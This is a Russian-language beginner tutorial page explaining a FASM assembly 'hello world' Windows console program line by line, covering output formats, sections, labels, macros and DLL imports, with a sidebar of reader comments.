Но есть кроме это остальные:

  • format MZ - EXE-файл НО под MS-DOS

  • format PE - EXE-файл под Windows, аналогично format PE GUI 4.0

  • format PE64 - EXE-файл под Windows, 64 битное приложение.

  • format PE GUI 4.0 - EXE-файл под Windows, графическое приложение.

  • format PE Console - EXE-файл под Windows, консольная программа. (просто подключается заранее консоль)

  • format PE Native - драйвер

  • format PE DLL - DLL-файл Windows, поясню позднее.

  • format COFF - OBJ-файл Linux

  • format MS COFF - аналогично предыдущему

  • format ELF - OBJ-файл для gcc (Linux)

  • format ELF64 - OBJ-файл для gcc (Linux), 64-bit

Сразу за командой (для компилятора) format PE Console идет ; это значит комментарий. К сожалению он есть только однострочный.

3 строка: entry start

  • Говорим windows-у где\в каком месте стартовать. "start" это метка, но о метках чуть позже.

5 строка: include 'win32a.inc'

  • Подключает к проекту файл, в данном случае "win32a.inc" он находиться в папке INCLUDE (в папке с FASM). этот файл создает константы и создает макросы для облегчения программирования.

8 строка: section '.data' data readable writeable

  • Секция данных, то есть программа делиться на секции (части), к этим секциям мы можем дать разрешение, имя.

Флаг "data" (Флаг это бит\байт\аргумент хранившей в себе какую-то информацию) говорит то что эта секция данных.

Флаги "readable writeable" говорят то что эта секция может читаться кем-то и записываться кем-то.

Текст '.data' - имя секции

10 строка: hello db 'hello world!',0

hello - это метка, она может быть любого имени (почти, есть некоторые зарезервированные имена), эта метка хранит в себе адрес строки, это не переменная, а просто адрес, но чтобы не запоминать адреса в ручную, помогает FASM он запоминает адрес и потом когда видит эту метку снова, то он заменяет слово на адрес.

db - говорит то что под каждый символ резервируем 1 байт. То есть 1 символ храниться в одном байте.

'hello world!' - наша строка в кодировке ASCII

Что значит ",0" в конце строки? - это символ с номером 0 (или просто ноль), у вас на клавиатуре нет клавиши которая имела символ с номером 0, по этому этот символ используют как показатель конца строки. То есть это значит конец строки. Просто ноль записываем в байт после строки.

12 строка: section '.code' code readable writeable executable

Флаг "code" - говорит то что это секция кода.

Флаг "executable" - говорит то что эта секция исполняема, то есть в этой секции может выполняться код.

Все остальное уже разобрали.

14 строка: start:

Это второй вид меток. Просто эта метка указывает на следующую команду. Обратите внимание на то что в 3 строке мы указали start как метку входа в программу, это она и есть. Может иметь эта метка любое имя, главное не забудьте ваше новое имя метки вписать в entry

15 строка: invoke printf, hello

  • Функция printf - выводит текст\число в консоль. В данном случае текст по адресу "hello"

Это штото на подобие команды, но это и близко не команда ассемблера, а просто макрос.

Макрос - Это макро команда для компилятора, то есть вместо имени макроса подставляется что-то другое.

Например, макро команда invoke делиться на такие команды: (взят в пример команда с 15 строки)

push hellocall [printf]

Не переживайте если нечего не поняли.

17 строка: invoke getch

  • getch - функция получения нажатой кнопки, то есть просто ждет нажатия кнопки и потом возвращает нажатую кнопку.

20 строка: invoke ExitProcess, 0

  • ExitProcess - WinAPI функция, она завершает программу. Она принимает значение, с которым завершиться, то есть код ошибки, ноль это нет ошибок.

23 строка: section '.idata' data import readable

Флаг "import" - говорит то что это секция импорта библиотек.

24-25 строки:

library kernel, 'kernel32.dll',\  msvcrt, 'msvcrt.dll'
  • Макро команда "library" загружает DLL библиотеки в виртуальную память (не в ОЗУ, вам ОЗУ не хватит чтоб хранить всю виртуальную память).

Что такое DLL объясню позже.

kernel - имя которое привязывается к библиотеке, оно может быть любым.

Следующий текст после запятой: 'kernel32.dll' - это имя DLL библиотеки который вы хотите подключить.

Дальше есть знак \ это значит что текст на следующей строке нужно подставить в эту строку.

То есть код:

library kernel, 'kernel32.dll',\  msvcrt, 'msvcrt.dll'

Заменяется на:

library kernel, 'kernel32.dll', msvcrt, 'msvcrt.dll'

Это нужно потому что у ассемблера 1 строка это 1 команда.

27-28 строка:

import kernel,\  ExitProcess, 'ExitProcess'

import - Макро команда, которая загружает функции из DLL.

kernel - Имя к которой привязана DLL, может быть любым.

ExitProcess - Как будет называться функция в программе, это имя будет только в вашей программе, и по этому имени вы будете вызывать функцию. (WinAPI функция)

'ExitProcess' - Это имя функции которое будет загружено из DLL, то есть это имя функции которое прописано в DLL.

Дальше думаю не стоит объяснять, вроде все понятно.

Что такое DLL библиотека?

Это файл с расширением DLL. В этом файле прописаны функции (какие не будь). Это обычная программа, но которая не запускается по двойному щелчку, а загружается к программе в виртуальную память, и потом вызываются функции находящиеся в этой DLL.

Подводим итог

На ассемблере писать можно не зная самого языка, а используя всего лишь макро команды компилятора. За всю статью я упомянул всего 2 команды ассемблера это push hello и call [printf] . Что это значит расскажу в следующей статье.

Подробнее..
Категории: Assembler , Туториал , Уроки , Winapi , Fasm , Windowsapi

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru